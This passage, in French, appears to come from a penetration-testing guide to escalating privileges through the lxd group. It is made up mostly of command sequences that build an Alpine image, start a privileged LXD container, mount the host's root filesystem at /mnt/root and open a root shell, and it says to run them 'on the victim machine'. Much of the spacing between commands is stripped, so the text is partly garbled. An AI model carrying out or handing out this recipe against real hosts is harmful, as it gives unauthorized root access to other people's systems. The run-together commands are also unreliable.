sudosu#Install requirementssudoaptupdatesudoaptinstall-ygitgolang-godebootstraprsyncgpgsquashfs-tools#Clone repogitclonehttps://github.com/lxc/distrobuilder#Make distrobuildercddistrobuildermake#Prepare the creation of alpinemkdir-p $HOME/ContainerImages/alpine/cd $HOME/ContainerImages/alpine/wgethttps://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml#Create the containersudo $HOME/go/bin/distrobuilderbuild-lxdalpine.yaml-oimage.release=3.18
Téléchargez les fichiers lxd.tar.xz et rootfs.squashfs, ajoutez l'image au dépôt et créez un conteneur :
lxcimageimportlxd.tar.xzrootfs.squashfs--aliasalpine# Check the image is therelxcimagelist# Create the containerlxcinitalpineprivesc-csecurity.privileged=true# List containerslxclistlxcconfigdeviceaddpriveschost-rootdisksource=/path=/mnt/rootrecursive=true
Si vous rencontrez cette erreur Erreur : aucun pool de stockage trouvé. Veuillez créer un nouveau pool de stockage
Exécutez lxd init et répétez le morceau de commandes précédent
Enfin, vous pouvez exécuter le conteneur et obtenir les droits root :
lxcstartprivesclxcexecprivesc/bin/sh[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
Méthode 2
Construisez une image Alpine et démarrez-la en utilisant le drapeau security.privileged=true, forçant le conteneur à interagir en tant que root avec le système de fichiers hôte.
# build a simple alpine imagegitclonehttps://github.com/saghul/lxd-alpine-buildercdlxd-alpine-buildersed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo./build-alpine-ai686# import the imagelxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
# before running the image, start and configure the lxd storage pool as defaultlxdinit# run the imagelxcinitmyimagemycontainer-csecurity.privileged=true# mount the /root into the imagelxcconfigdeviceaddmycontainermydevicedisksource=/path=/mnt/rootrecursive=true# interact with the containerlxcstartmycontainerlxcexecmycontainer/bin/sh
lxcinitubuntu:16.04test-csecurity.privileged=truelxcconfigdeviceaddtestwhateverdisksource=/path=/mnt/rootrecursive=truelxcstarttestlxcexectestbash[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted